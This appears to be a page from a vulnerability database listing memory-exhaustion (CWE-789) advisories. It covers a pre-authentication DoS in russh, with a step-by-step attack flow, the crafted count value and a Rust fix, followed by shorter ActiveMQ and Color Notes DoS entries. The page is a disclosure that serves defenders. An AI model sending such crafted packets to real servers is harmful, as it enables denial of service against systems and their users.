An attacker can send n = 0x10000000 (268M) or larger in a minimal packet (~50 bytes after encryption). The server attempts to allocate n * ~24 bytes (size of Option<Bytes>) = ~6.4GB, causing an OOM crash.

Attack Flow

  1. Attacker connects via TCP, completes key exchange (no credentials needed -- this is the anonymous DH handshake, not authentication)
  2. Sends USERAUTH_REQUEST with method keyboard-interactive
  3. Server handler returns Auth::Partial with prompts (standard for 2FA/TOTP)
  4. Attacker sends USERAUTH_INFO_RESPONSE with n = 0x10000000 and no response data
  5. Server calls Vec::with_capacity(268_435_456), OOM killed

No authentication is required. The allocation occurs before the handler validates any credentials. The attack is repeatable faster than the server can restart.

Affected Configurations

Any russh-based server where the Handler::auth_keyboard_interactive implementation returns Auth::Partial (i.e., sends prompts to the client). The default handler returns Auth::reject() and is not affected.

Source code review suggests that downstream projects using keyboard-interactive for multi-step auth (e.g., TOTP/2FA) follow the affected pattern, since returning Auth::Partial before credential verification is the intended API usage for prompting.

Confirmed End-to-End PoC

There is a complete Docker-contained PoC confirming the OOM kill: - Minimal russh server returning Auth::Partial for keyboard-interactive - Python client (paramiko for key exchange) sends malformed USERAUTH_INFO_RESPONSE - Container with 512MB memory limit; server is OOM-killed (exit code 137)

Available on request.

Proposed Fix

Cap the Vec::with_capacity allocation to what the remaining packet data can actually contain. Each response requires at least 4 bytes (length prefix), so:

let n = map_err!(u32::decode(r))?;

// Bound both allocation and iteration by remaining packet data to
// prevent a malicious client from causing a multi-GB allocation or
// billions of loop iterations with a crafted count.
// Each response needs at least 4 bytes (length prefix).
let max_responses = r.remaining_len().saturating_add(3) / 4;
let n = (n as usize).min(max_responses);
let mut responses = Vec::with_capacity(n);
for _ in 0..n {
    responses.push(Bytes::decode(r).ok())
}

This bounds the allocation to at most the packet size (~256KB), while preserving the existing behavior for well-formed packets. This fix has been implemented, tested, and contributed via the temporary private fork.

Severity

Pre-auth, remote, no credentials required, crashes the server process affecting all active sessions.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.60.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:39:37Z",
    "nvd_published_at": "2026-05-08T20:16:31Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA pre-authentication denial-of-service vulnerability exists in the server\u0027s keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials.\n\n## Vulnerability Details\n\nIn `russh/src/server/encrypted.rs`, the function `read_userauth_info_response` decodes a `u32` count from the client\u0027s `SSH_MSG_USERAUTH_INFO_RESPONSE` and passes it directly to `Vec::with_capacity()`:\n\n```rust\nlet n = map_err!(u32::decode(r))?;\n\n// Bound both allocation and iteration by remaining packet data to\n// prevent a malicious client from causing a multi-GB allocation or\n// billions of loop iterations with a crafted count.\n// Each response needs at least 4 bytes (length prefix).\nlet max_responses = r.remaining_len().saturating_add(3) / 4;\nlet n = (n as usize).min(max_responses);\nlet mut responses = Vec::with_capacity(n);\nfor _ in 0..n {\n    responses.push(Bytes::decode(r).ok())\n}\n```\n\nAn attacker can send `n = 0x10000000` (268M) or larger in a minimal packet (~50 bytes after encryption). The server attempts to allocate `n * ~24 bytes` (size of `Option\u003cBytes\u003e`) = ~6.4GB, causing an OOM crash.\n\n## Attack Flow\n\n1. Attacker connects via TCP, completes key exchange (no credentials needed -- this is the anonymous DH handshake, not authentication)\n2. Sends `USERAUTH_REQUEST` with method `keyboard-interactive`\n3. Server handler returns `Auth::Partial` with prompts (standard for 2FA/TOTP)\n4. Attacker sends `USERAUTH_INFO_RESPONSE` with `n = 0x10000000` and no response data\n5. Server calls `Vec::with_capacity(268_435_456)`, OOM killed\n\nNo authentication is required. The allocation occurs before the handler validates any credentials. The attack is repeatable faster than the server can restart.\n\n## Affected Configurations\n\nAny russh-based server where the `Handler::auth_keyboard_interactive` implementation returns `Auth::Partial` (i.e., sends prompts to the client). The default handler returns `Auth::reject()` and is not affected.\n\nSource code review suggests that downstream projects using keyboard-interactive for multi-step auth (e.g., TOTP/2FA) follow the affected pattern, since returning `Auth::Partial` before credential verification is the intended API usage for prompting.\n\n## Confirmed End-to-End PoC\n\nThere is a complete Docker-contained PoC confirming the OOM kill:\n- Minimal russh server returning `Auth::Partial` for keyboard-interactive\n- Python client (paramiko for key exchange) sends malformed `USERAUTH_INFO_RESPONSE`\n- Container with 512MB memory limit; server is OOM-killed (exit code 137)\n\nAvailable on request.\n\n## Proposed Fix\n\nCap the `Vec::with_capacity` allocation to what the remaining packet data can actually contain. Each response requires at least 4 bytes (length prefix), so:\n\n```rust\nlet n = map_err!(u32::decode(r))?;\n\n// Bound both allocation and iteration by remaining packet data to\n// prevent a malicious client from causing a multi-GB allocation or\n// billions of loop iterations with a crafted count.\n// Each response needs at least 4 bytes (length prefix).\nlet max_responses = r.remaining_len().saturating_add(3) / 4;\nlet n = (n as usize).min(max_responses);\nlet mut responses = Vec::with_capacity(n);\nfor _ in 0..n {\n    responses.push(Bytes::decode(r).ok())\n}\n```\n\nThis bounds the allocation to at most the packet size (~256KB), while preserving the existing behavior for well-formed packets. This fix has been implemented, tested, and contributed via the temporary private fork.\n\n## Severity\n\nPre-auth, remote, no credentials required, crashes the server process affecting all active sessions.",
  "id": "GHSA-f5v4-2wr6-hqmg",
  "modified": "2026-05-13T13:34:53Z",
  "published": "2026-04-24T15:39:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/6c3c80a9b6d60763d6227d60fa8310e57172a4d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.60.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "russh has pre-auth DoS via unbounded allocation in its keyboard-interactive auth handler"
}

GHSA-F77W-PX59-CQF5

Vulnerability from github – Published: 2026-06-30 12:31 – Updated: 2026-06-30 15:30
VLAI
Details

Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Client, Apache ActiveMQ Broker.

An authenticated user can cause a broker DoS by sending a crafted OpenWire Message with a large encoded size value for the map. OpenWire message property maps are unmarshaled without size validation which can trigger OOM and crash the broker. This issue affects Apache ActiveMQ: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ All: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ Client: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ Broker: before 5.19.8, from 6.0.0 before 6.2.7.

Users are recommended to upgrade to version 6.2.7 or 5.19.8, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-53917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T11:16:30Z",
    "severity": "HIGH"
  },
  "details": "Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Client, Apache ActiveMQ Broker.\n\nAn authenticated user can cause a broker DoS by sending a crafted OpenWire Message with a large encoded size value for the map. OpenWire message property maps are unmarshaled without size validation\u00a0which can trigger OOM and crash the broker.\nThis issue affects Apache ActiveMQ: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ All: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ Client: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ Broker: before 5.19.8, from 6.0.0 before 6.2.7.\n\nUsers are recommended to upgrade to version 6.2.7 or 5.19.8, which fixes the issue.",
  "id": "GHSA-f77w-px59-cqf5",
  "modified": "2026-06-30T15:30:44Z",
  "published": "2026-06-30T12:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53917"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/grrd1mwgkgblqjbwkkq6dvmdxd9ov2dx"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/29/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F83W-W68R-F82V

Vulnerability from github – Published: 2026-05-16 18:31 – Updated: 2026-05-16 18:31
VLAI
Details

Color Notes 1.4 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character strings into note fields. Attackers can generate a payload containing 350,000 repeated characters and paste it twice into a new note to cause the application to stop responding.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-16T16:16:22Z",
    "severity": "HIGH"
  },
  "details": "Color Notes 1.4 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character strings into note fields. Attackers can generate a payload containing 350,000 repeated characters and paste it twice into a new note to cause the application to stop responding.",
  "id": "GHSA-f83w-w68r-f82v",
  "modified": "2026-05-16T18:31:38Z",
  "published": "2026-05-16T18:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47969"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49952"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/color-notes-denial-of-service-via-long-character-string"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list